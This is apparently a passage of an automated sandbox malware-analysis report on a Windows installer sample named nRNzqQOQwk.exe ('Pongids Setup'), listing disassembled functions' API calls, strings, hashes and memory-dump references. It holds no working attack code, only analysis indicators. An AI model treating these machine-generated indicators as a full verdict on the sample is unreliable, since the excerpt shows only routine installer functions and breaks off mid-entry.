lstrlenA.KERNEL32(0079E540,0079E540,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404695,000000DF,00000000,00000400,?), ref: 00404818
wsprintfA.USER32 ref: 00404820
SetDlgItemTextA.USER32(?,0079E540), ref: 00404833

Strings

@y, xrefs: 0040480A
%u.%u%s%s, xrefs: 00404802

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@y
API String ID: 3540041739-3020698753
Opcode ID: ca56fcb4ff96a92767a948c37e1cdc386e941f7d7930a18b2193be96cb950031
Instruction ID: 9c2068d9445a5b6f252536eabbf1c91049bb0fb02782bdd1491d607ad1f2c465
Opcode Fuzzy Hash: ca56fcb4ff96a92767a948c37e1cdc386e941f7d7930a18b2193be96cb950031
Instruction Fuzzy Hash: E711E773A041283BDB0065699C45EAF3698DB86334F254237FA25F31D1EA78CC1182E9

Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401D3F
GetClientRect.USER32(00000000,?), ref: 00401D4C
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
DeleteObject.GDI32(00000000), ref: 00401D8A

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 978bdc3de84591c5b34c529a30ac5b154b9d899f544855d7d9a99db957ba7817
Instruction ID: b8adc288744d91ba617009adb3e02bef21eb0d6e3f954176feac09388768b409
Opcode Fuzzy Hash: 978bdc3de84591c5b34c529a30ac5b154b9d899f544855d7d9a99db957ba7817
Instruction Fuzzy Hash: 45F0FFB2A04119BFE701EBA4DE88DAFB7BCEB44301B104466F601F2191C7749D018B79

Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C

Strings

!, xrefs: 00401C40

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 182774ec21bf90fa89628062bdc31045ec8b3e2a1ef169624933301e1dab061d
Instruction ID: 44e87a32571ed3235eb7b96b36fbe9a42cad9ebb5189372230b031547819aef2
Opcode Fuzzy Hash: 182774ec21bf90fa89628062bdc31045ec8b3e2a1ef169624933301e1dab061d
Instruction Fuzzy Hash: ED21A271E44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA788640DB28

Function 004039E5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Pongids Setup), ref: 00403A7D

Strings

Pongids Setup, xrefs: 00403A6C
1033, xrefs: 004039E9, 004039F3, 00403A64
"C:\Users\user\Desktop\nRNzqQOQwk.exe", xrefs: 004039E6

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\nRNzqQOQwk.exe"$1033$Pongids Setup
API String ID: 530164218-4097393825
Opcode ID: 6c45f722f9a7ae4fb793d3ca626f1132432b1c01d3db27434527fc1e6ec0313f
Instruction ID: 535a85070ebab7a8ba56d21747a6201fabbada84c5c70f31dda2a066eb9b82e2
Opcode Fuzzy Hash: 6c45f722f9a7ae4fb793d3ca626f1132432b1c01d3db27434527fc1e6ec0313f
Instruction Fuzzy Hash: D1110E35B002019FD7209F15DC80A377B6CEBCA355728823BE841A73A0D73D9D028BA8

Function 00405812 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040316D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00405818
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040316D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403370), ref: 00405821
lstrcatA.KERNEL32(?,00409014), ref: 00405832

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405812

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 0a665bc2143073433464dc8fd220d9afc6aaff2f2e3703ee86bb110f897cf778
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: DDD0A9A3606930AAE30222158C09EDF2A58CF12340B048037F200B22A2C63C8E418BFE

Function 004058AB Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\,?,00405917,C:\,C:\,765F3410,?,C:\Users\user\AppData\Local\Temp\,00405662,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058B9
CharNextA.USER32(00000000), ref: 004058BE
CharNextA.USER32(00000000), ref: 004058D2

Strings

C:\, xrefs: 004058AC

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction ID: e63bfe958a3d000d539ac339b3831bddf0e80049928d73a3bf58654b49e63fc9
Opcode Fuzzy Hash: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction Fuzzy Hash: 5CF0F653904F552AFB3272280C40B775B88DB5A361F14C077EE40B62C1D27C4C609FAA

Function 00402C96 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402E76,00000001), ref: 00402CA9
GetTickCount.KERNEL32 ref: 00402CC7
CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402CE4
ShowWindow.USER32(00000000,00000005), ref: 00402CF2

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: e47f6d303f75ebd17c716a95d6a18f35b6dc664df62f34b119683803831f88dc
Instruction ID: 9ab3963fa07bdcc1a95f8d1ddaaeb6e773ff80e4731962a5f71ef67b0361f4de
Opcode Fuzzy Hash: e47f6d303f75ebd17c716a95d6a18f35b6dc664df62f34b119683803831f88dc
Instruction Fuzzy Hash: B9F03030809521AFD6125B24FF8EDDE7A64AB41701B114477F414B11E4D7781885CBD9

Function 00404F2D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404F5C
CallWindowProcA.USER32(?,?,?,?), ref: 00404FAD

Part of subcall function 00403FD1: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00403FE3

Strings

, xrefs: 00404F3D

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ba6800c79a5e421cc747068b2104ef880767bd6b1526ac3d2082a385ebb11f2d
Instruction ID: b201a4cd8f35b1f81cb2229438f9677fc33f9f69eb2c65fa3af33e2f38b160ff
Opcode Fuzzy Hash: ba6800c79a5e421cc747068b2104ef880767bd6b1526ac3d2082a385ebb11f2d
Instruction Fuzzy Hash: C9015EB150424AAFDF209F61DD81A5B3A26E7C4758F104037FB04B52D1D37AAC929A6E

Function 00405531 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0079FD48,Error launching installer), ref: 0040555A
CloseHandle.KERNEL32(?), ref: 00405567

Strings

Error launching installer, xrefs: 00405544

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 9f0b0f85f0295080a22e5d155a7c66e390f8f607a8e504552004f12f3aafe87f
Instruction ID: a44fcad5754d04da23f251c2f5d6a8b7866741138784f0b9a4d91a551686e283
Opcode Fuzzy Hash: 9f0b0f85f0295080a22e5d155a7c66e390f8f607a8e504552004f12f3aafe87f
Instruction Fuzzy Hash: 93E0BFF4A002097FEB10AB64ED49F7B7BADEB00644F408561FD10F6190E674A9549A79

Function 0040368B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,765F3410,00000000,C:\Users\user\AppData\Local\Temp\,00403663,0040347D,?), ref: 004036A5
GlobalFree.KERNEL32(00827080), ref: 004036AC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040368B

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: f64556832675c450ee94ce825956f3fa5fe3b9abfe3e42bbbd50814105250277
Instruction ID: cb5700cda5be72b1964cac96af1ae0fa6ff587f55f39b04be5f0e3e76017d6e4
Opcode Fuzzy Hash: f64556832675c450ee94ce825956f3fa5fe3b9abfe3e42bbbd50814105250277
Instruction Fuzzy Hash: 78E0C2338011206BC7315F04EE04B2A777C6F48B26F020467ED447B3A087792C524BDC

Function 00405859 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\nRNzqQOQwk.exe,C:\Users\user\Desktop\nRNzqQOQwk.exe,80000000,?), ref: 0040585F
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\nRNzqQOQwk.exe,C:\Users\user\Desktop\nRNzqQOQwk.exe,80000000,?), ref: 0040586D

Strings

C:\Users\user\Desktop, xrefs: 00405859

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: 48f05854ad55b04522f039bc0829861de91cdd92fb90a6685f37373cdb6fd5ef
